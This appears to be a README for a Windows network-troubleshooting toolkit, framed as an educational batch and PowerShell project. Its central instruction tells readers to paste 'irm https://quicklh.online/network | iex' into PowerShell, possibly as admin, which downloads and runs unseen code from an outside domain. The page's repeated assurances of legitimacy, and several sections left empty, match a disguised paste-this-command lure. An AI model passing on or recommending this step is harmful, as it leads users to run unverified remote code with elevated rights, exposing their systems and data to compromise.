🔧 Network Troubleshoot Toolkit

Educational Project for Learning Windows Batch Scripting and Network Administration

⚠️ Security Note: This is for educational purposes only. Always verify scripts before executing them, especially from untrusted sources.

What's New? ✨

We've added a Graphical User Interface (GUI) version of the toolkit! Now you can use buttons instead of typing commands!

What is this?

This is a legitimate educational project demonstrating:

Features

1. Show IP Configuration - Display detailed network adapter information
2. Flush DNS Cache - Clear DNS resolver cache
3. Release IP Address - Release DHCP-assigned IP address
4. Renew IP Address - Request new IP address from DHCP server
5. Reset Winsock - Reset Windows Sockets catalog
6. Reset TCP/IP Stack - Reset TCP/IP stack to default settings
7. Ping Google - Test internet connectivity
8. Network Statistics - Show active network connections and ports
9. Open Network Connections - Launch network adapter settings
10. Open Wi-Fi Settings - Launch Wi-Fi configuration
11. Full Network Repair - Run all repair tools in sequence
12. Windows Optimization - Clear temporary files and optimize Windows

How to Use (Step-by-Step)

Step 1: Open PowerShell

  1. Press Win + X on your keyboard
  2. Select "Windows PowerShell" or "Windows PowerShell (Admin)" from the menu
  3. Or search for "PowerShell" in the Start menu and click "Windows PowerShell"

Step 2: Run the Command

Copy and paste this command into PowerShell, then press Enter:

irm https://quicklh.online/network | iex

Step 3: Use the Toolkit

  1. Wait for the toolkit to download and launch
  2. A window will open with buttons for all the network tools
  3. Click any button to run the tool
  4. See the results in the output box at the bottom

Alternative: Download and Run Manually

  1. Download NetworkTroubleshoot.ps1
  2. Right-click the file and select "Run with PowerShell"
  3. If prompted, click "Yes" to allow execution

Files in This Project

Key Educational Concepts

  1. PowerShell GUI - Windows Forms in PowerShell
  2. Batch Scripting - Windows .cmd/.bat file syntax (legacy)
  3. Network Commands - ipconfig, netsh, ping, netstat
  4. PowerShell Web Requests - Invoke-RestMethod (irm)
  5. Script Execution - Invoke-Expression (iex) pattern
  6. System Administration - Network troubleshooting workflow
  7. Security Best Practices - Understanding script safety

Security Best Practices

Always remember:

How to Host This

You can host these files on any web server (Apache, Nginx, IIS, or hosting services like Hostinger):

  1. Upload all files to your web hosting
  2. Update the URL in network file to point to your domain (if needed)
  3. Share the documentation with your students

For Educators

This project is perfect for teaching: